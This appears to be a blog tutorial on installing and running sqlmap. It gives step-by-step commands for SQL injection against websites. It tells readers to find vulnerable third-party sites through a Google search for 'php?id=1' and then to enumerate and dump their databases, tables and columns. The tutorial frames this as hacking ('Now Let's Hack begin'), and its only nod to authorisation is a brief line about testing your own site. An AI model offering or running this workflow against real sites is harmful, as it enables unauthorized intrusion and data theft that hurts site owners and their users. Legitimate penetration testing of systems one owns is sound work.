SQLMAP installation and usage in Ubuntu and Kali linux
Sql Injection Tool to discover vulnerabilities on your site
Let's talk about the penetration testing using one of the KALI linux tool called SQLMAP.
What is SQLMAP?
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It is a open source tool to use sql injection in better and simpler way.
It is pre installed on KALI LINUX Operating System.
Let's go to see how to install this tool in your ubuntu machine and run test to hack the database of any sql injection vulnerable websites.
First download SQLMAP in your machine by using below command.
wget 'https://github.com/sqlmapproject/sqlmap/tarball/master' --output-document=sqlmap.tar.gz
Now run this command to extract your sqlmap package from tar file.
tar -xvf sqlmap.tar.gz
If all done successfully go to to your sqlmap directory and run below command to test sqlmap in ubuntu.
cd sqlmapproject-sqlmap-c4f9e66/ python sqlmap.py --version
Now Let’s Hack begin.
You can find may sql injection vulnerable websites through google search by passing bellow query
open www.google.com and type php?id=1
Next from search result open website which url something like that..
Now check url is venerable or not by adding ‘ and hit enter if page gives sql error means You are lucky, Given url is ready for hack.
Go to your sqlmap directory and Run this command to test sql injunction.
-u :- means url we are going to hack
–dbs :- command will show hack-able list of database.
./sqlmap.py -u http://www.example.com/about.php?id=1 --dbs
Open terminal and run below command no need to install sqlmap in KALI LINUX
sqlmap -u http://www.example.com/about.php?id=1 --dbs
Now hack the tables of hacked database.
-D :- means database name you are going to hack
–tables :- command will show all the tables of hacked database.
./sqlmap.py -u http://www.example.com/about.php?id=1 --dbs -D exampledb --tables
sqlmap -u http://www.example.com/about.php?id=1 --dbs -D exampledb --tables
Next task is fetch the column of any table.
-T :- means Table name you are going to hack
–columns :- command will show all the columns of table.
./sqlmap.py -u http://www.example.com/about.php?id=1 --dbs -D exampledb --tables -T apllied_items --columns
sqlmap -u http://www.example.com/about.php?id=1 --dbs -D exampledb --tables -T apllied_items --columns
Now this is your final task fetch real data from tables.
-C :- means Column name of the table.
–dump :- command will show all data of given columns.
./sqlmap.py -u http://www.example.com/about.php?id=1 --dbs -D exampledb --tables -T apllied_items --columns -C menuid --dump
sqlmap -u http://www.example.com/about.php?id=1 --dbs -D exampledb --tables -T apllied_items --columns -C menuid --dump
Above command will show the data of particular column, You can use this trick to hack website database which are less secure and must use this testing on your own website to test your website is secure or not.
It's also possible to test for SQL injection vulnerabilities with using sqlmap with a url that is using mod rewrite
To test your sites that have urls like:
But also sites that have clean urls, like:
You should use
* in your URI, creating URI injection point(s). So instead of using:
sqlmap.py -u "website.com/script/paramrewrited1/paramrewrited2"
sqlmap.py -u "website.com/script/paramrewrited1*/paramrewrited2*"
See sqlmap wiki for more usage options. From that page:
URI injection point
There are special cases when injection point is within the URI itself. sqlmap does not perform any automatic test against URI paths, unless manually pointed to. You have to specify these injection points in the command line by appending an asterisk (
*) after each URI point that you want sqlmap to test for and exploit a SQL injection.
This is particularly useful when, for instance, Apache web server's mod_rewrite module is in use or other similar technologies.
An example of valid command line would be:
$ python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"
- How to Choose a Laptop for Web Design and Development
- The Best Lightweight Linux Distributions For Older PC's
- How to write real client IP address in error Log with Varnish 4 and Apache 2.4 in Ubuntu 16.04
- How to Configure the Mod_Security Core Ruleset in Ubuntu
- Install Shotcut Video Editor in Ubuntu 16.04, 16.10
- How to Install Syncthing on Ubuntu 16.04
- How to Connect to a Remote Server via SSH from a Linux Shell
- Setup FTP server with VSFTPD in Ubuntu 16.04
- How to Disable Strict SQL Mode in MySQL 5.7 and Ubuntu 16.04
- How to install and setup Varnish in Ubuntu 16.04
- Install Apache, MariaDB and PHP7 on Ubuntu 16.04
- How to force screen/s resolution in Ubuntu and make it permanent